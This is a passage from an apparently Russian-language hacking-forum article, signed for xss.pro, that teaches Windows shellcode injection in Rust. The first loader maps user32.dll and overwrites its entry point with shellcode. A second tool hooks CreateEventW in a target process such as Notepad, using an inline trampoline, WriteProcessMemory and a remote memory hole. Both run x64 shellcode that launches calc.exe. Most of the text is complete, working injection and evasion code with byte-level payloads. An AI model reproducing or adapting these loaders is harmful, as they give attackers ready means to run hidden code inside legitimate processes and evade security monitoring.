0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
fn main() -> Result<(), Box<dyn std::error::Error>> {
let address = load_file()?;
let module = address.0;
let entry_point = address.1;
println!("[+] Base Address: {:?}", module);
println!("[+] AddressOfEntryPoint: {:?}", entry_point);
unsafe {
println!("[+] Changing protection from AddressOfEntryPoint to PAGE_READWRITE");
let mut old_protect = PAGE_PROTECTION_FLAGS(0);
VirtualProtect(entry_point,SHELLCODE.len(),PAGE_READWRITE,&mut old_protect)?;
println!("[+] Copying Shellcode to AddressOfEntryPoint");
std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), entry_point as _, SHELLCODE.len());
println!("[+] Back to the old protection");
VirtualProtect(entry_point, SHELLCODE.len(), old_protect, &mut old_protect)?;
println!("[+] Press Enter to Execute Shellcode");
let _ = std::io::stdin().read_line(&mut String::new());
//CreateThread(None,0,Some(std::mem::transmute(entry_point)),None,THREAD_CREATION_FLAGS(0), None)?;
execute_shell(entry_point);
println!("[+] Shellcode Executed!");
std::thread::sleep(std::time::Duration::from_secs(10));
Ok(())
}
}
fn load_file() -> Result<(*mut c_void, *mut c_void), String> {
unsafe {
let h_file = CreateFileA(
s!("C:\\Windows\\System32\\user32.dll"),
GENERIC_READ.0,
FILE_SHARE_MODE(0),
None,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
None,
).map_err(|e| format!("[!] CreateFileA Failed With Error: {e}"))?;
let mut section = HANDLE::default();
let status = NtCreateSection(
&mut section,
SECTION_ALL_ACCESS.0,
None,
None,
PAGE_READONLY.0,
SEC_IMAGE.0,
Some(h_file),
);
if status.is_err() {
return Err(format!("[!] NtCreateSection Failed With Status: {:?}", status));
}
let mut mapped_module = null_mut();
let mut view_size = 0;
let status = NtMapViewOfSection(
section.0 as _,
0xffffffffffffffffu64 as _,
&mut mapped_module,
0,
0,
null_mut(),
&mut view_size,
ViewShare,
0,
PAGE_EXECUTE_READWRITE.0,
);
if status != 0 {
return Err(format!("[!] NtMapViewOfSection Failed With Status: {}", status));
}
let dos_header = mapped_module as *mut IMAGE_DOS_HEADER;
let nt_header = (mapped_module as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
return Err(String::from("IMAGE SIGNATURE INVALID"));
}
let entry_point = (mapped_module as usize + (*nt_header).OptionalHeader.AddressOfEntryPoint as usize) as *mut c_void;
Ok((mapped_module as *mut c_void, entry_point))
}
}
unsafe fn execute_shell(entrypoint: *const c_void) {
// Call the entry point
let func: extern "C" fn() -> u32 = std::mem::transmute(entrypoint);
func();
}
API Function Hooking
API-хукинг (перехват API) - это техника, используемая для перехвата и изменения поведения функций API. Она часто применяется для отладки, реверс-инжиниринга и читерства в играх. API-хукинг включает в себя замену оригинальной реализации функции API на пользовательскую версию, которая выполняет дополнительные действия до или после вызова оригинальной функции. Это позволяет изменять поведение программы без модификации её исходного кода. API-хукинг осуществляется двумя основными способами:Трамплины (Trampolines): Это шеллкод, который используется для изменения пути выполнения кода путём перехода на другой конкретный адрес в адресном пространстве процесса. Шеллкод трамплина вставляется в начало функции, в результате чего функция становится перехваченной. Когда вызывается перехваченная функция, вместо неё срабатывает шеллкод трамплина, и поток выполнения передаётся и изменяется на другой адрес, что приводит к выполнению другой функции.
Инлайн-хукинг (Inline Hooking): Это альтернативный подход к выполнению API-хукинга, который работает аналогично хукингу на основе трамплинов. Разница заключается в том, что инлайн-хуки возвращают выполнение к легитимной функции, позволяя продолжить нормальное выполнение. Хотя реализация более сложная и потенциально сложнее в поддержке, инлайн-хуки более эффективны.
Еще одно небольшое замечание: хуки часто используются решениями безопасности для перехвата, проверки и мониторинга вызовов функций с целью обнаружения вредоносного ПО.
В нашем примере мы будем использовать Inline Hooking для целевого процесса Notepad.exe и перехватим функцию CreateEventW в kernelbase.dll.
Эта техника использует промежутки между DLL в памяти. Мы хотим разместить хук и шеллкод чуть выше или ниже базового адреса целевой DLL, причина в том, что мы в итоге помещаем инструкцию CALL внутрь определенной экспортируемой функции (в нашем случае CreateEventW).
В конечном итоге мы ждем, пока легитимная активность процесса вызовет эту API-функцию, что запустит наш шеллкод.
Давайте сначала разберем PATCH_SHELLCODE
Код:
static mut PATCH_SHELLCODE: [u8; 55] = [
0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
0x48, 0xB9, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC,
0x40, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 0xE0,
];
- Для этой техники мы хотим использовать инструкцию CALL вместо инструкции JUMP, чтобы получить адрес возврата (адрес возврата извлекается из стека и из него вычитается 5 байт, что дает нам исходный адрес экспортируемой функции, которая была перехвачена).
- Сохранение исходных регистров: Сохраняем волатильные регистры (такие как RCX, RDX, R8, R9), чтобы избежать сбоя целевого процесса.
- Восстановление: Мы восстанавливаем исходные байты экспортируемой перехваченной функции, чтобы хук больше не присутствовал.
- Выполняется относительный вызов функции к внедренному шеллкоду (сразу после кода хука).
- После выполнения шеллкода мы восстанавливаем все волатильные регистры.
- В завершение мы восстанавливаем исходный экспортируемый адрес и выполняем JMP, сохраняя предполагаемое поведение внедренной программы.
Код:
pop rax ; 58
sub rax, 5 ; 48 83 E8 05
push rax ; 50
push rcx ; 51
push rdx ; 52
push r8 ; 41 50
push r9 ; 41 51
push r10 ; 41 52
push r11 ; 41 53
mov rcx, [DYNAMIC_VALUE] ; 48 B9 BB BB BB BB BB BB BB BB
mov [rax], rcx ; 48 89 08
sub rsp, 0x40 ; 48 83 EC 40
call 0x11 ; E8 11 00 00 00
add rsp, 0x40 ; 48 83 C4 40
pop r11 ; 41 5B
pop r10 ; 41 5A
pop r9 ; 41 59
pop r8 ; 41 58
pop rdx ; 5A
pop rcx ; 59
pop rax ; 58
jmp rax ; FF E0
Shellcode
Какую экспортируемую функцию DLL следует выбрать? Вам следует ориентироваться на основные DLL, такие как ntdll, kernelbase и kernel32, так как они имеют одинаковый базовый адрес во всех процессах при одной загрузке Windows.
Избегайте часто используемых API, таких как выделение памяти в куче, закрытие handles или API синхронизации, чтобы предотвратить состояние гонки. В нашем случае мы продемонстрируем внедрение shellcode в Notepad.exe и выберем цель — функцию CreateEventW в kernelbase.dll.
C++:
#![allow(static_mut_refs)]
use std::ffi::c_void;
use sysinfo::System;
use windows::{
core::s,
Win32::{
Foundation::HANDLE,
System::{
Diagnostics::Debug::WriteProcessMemory,
LibraryLoader::{GetProcAddress, LoadLibraryA},
Memory::{
VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE,
PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
},
Threading::{OpenProcess, PROCESS_ALL_ACCESS},
},
},
};
static mut PATCH_SHELLCODE: [u8; 55] = [
0x58, 0x48, 0x83, 0xE8, 0x05, 0x50, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
0x48, 0xB9, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0x48, 0x89, 0x08, 0x48, 0x83, 0xEC,
0x40, 0xE8, 0x11, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59,
0x41, 0x58, 0x5A, 0x59, 0x58, 0xFF, 0xE0,
];
const SHELLCODE: [u8; 106] = [
0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63,
0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18,
0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF,
0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3,
];
fn main() -> Result<(), Box<dyn std::error::Error>> {
if std::env::args().len() < 2 {
println!("Usage: {} <process_name>", std::env::args().nth(0).unwrap());
std::process::exit(1);
}
let args = std::env::args().collect::<Vec<String>>();
let process_name = &args[1];
let pid = find_process(process_name)?;
unsafe {
let h_module = LoadLibraryA(s!("kernelbase.dll"))?;
let address = GetProcAddress(h_module, s!("CreateEventW"));
let func_address = std::mem::transmute(address);
let h_process = OpenProcess(PROCESS_ALL_ACCESS, false, pid)?;
println!("[+] Function: CreateEventW | Address: {:?}", func_address);
println!("[+] Patching the trampoline");
let original_bytes = *(func_address as *const u64);
PATCH_SHELLCODE[18..26].copy_from_slice(&original_bytes.to_ne_bytes());
println!("[+] Looking for a memory hole");
let address_role = find_memory_role(func_address as usize, h_process)?;
println!("[+] Writing the shellcode at {:?}", address_role);
write_shellcode(h_process, address_role);
println!("[+] Installing the trampoline");
install_trampoline(h_process, address_role, func_address);
println!("[+] Finish :)");
}
Ok(())
}
fn find_memory_role(func_address: usize, h_process: HANDLE) -> Result<*mut c_void, &'static str> {
let mut address = (func_address & 0xFFFFFFFFFFF70000) - 0x70000000;
while address < func_address + 0x70000000 {
let tmp_address = unsafe {
VirtualAllocEx(
h_process,
Some(address as *mut c_void),
SHELLCODE.len() + PATCH_SHELLCODE.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
};
if !tmp_address.is_null() {
println!("[+] Allocated at: {:?}", tmp_address);
return Ok(tmp_address);
}
address += 0x10000;
}
Err("Memory Role Not Found")
}
fn install_trampoline(h_process: HANDLE, address: *mut c_void, function_address: *mut c_void) {
let mut trampoline = [0xE8, 0x00, 0x00, 0x00, 0x00];
let rva = (address as usize).wrapping_sub(function_address as usize + trampoline.len());
let mut old_protect = PAGE_PROTECTION_FLAGS(0);
let mut number_bytes_written = 0;
let rva_bytes = rva.to_ne_bytes();
trampoline[1..].copy_from_slice(&rva_bytes[..4]);
unsafe {
VirtualProtectEx(
h_process,
function_address,
trampoline.len(),
PAGE_READWRITE,
&mut old_protect,
).expect("[!] VirtualProtectEx Failed With Status");
WriteProcessMemory(
h_process,
function_address,
trampoline.as_ptr().cast(),
trampoline.len(),
Some(&mut number_bytes_written),
).expect("[!] WriteProcessMemory Failed With Status");
VirtualProtectEx(
h_process,
function_address,
trampoline.len(),
PAGE_EXECUTE_READWRITE,
&mut old_protect,
).expect("[!] VirtualProtectEx (2) Failed With Status");
};
}
fn write_shellcode(h_process: HANDLE, address: *mut c_void) {
unsafe {
let mut number_of_write = 0;
WriteProcessMemory(
h_process,
address,
PATCH_SHELLCODE.as_ptr().cast(),
PATCH_SHELLCODE.len(),
Some(&mut number_of_write)
).expect("[!] WriteProcessMemory Failed With Status");
let shellcode_address = address as usize + PATCH_SHELLCODE.len();
WriteProcessMemory(
h_process,
shellcode_address as *mut c_void,
SHELLCODE.as_ptr().cast(),
SHELLCODE.len(),
Some(&mut number_of_write)
).expect("[!] WriteProcessMemory (2) Failed With Status");
let mut old_protect = PAGE_PROTECTION_FLAGS(0);
VirtualProtectEx(
h_process,
address,
SHELLCODE.len(),
PAGE_EXECUTE_READWRITE,
&mut old_protect
).expect("[!] VirtualProtectEx (3) Failed With Status");
}
}
fn find_process(process_name: &str) -> Result<u32, &'static str> {
let mut system = System::new_all();
system.refresh_all();
for (pid, process) in system.processes() {
if process.name() == process_name {
return Ok(pid.as_u32());
}
}
Err("Process not found")
}
Теперь попробуйте что-нибудь написать и сохранить с помощью Блокнота — вы вызовете функцию, и увидите, как появится calc.exe.
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью
для xss.pro пользователем voldemort.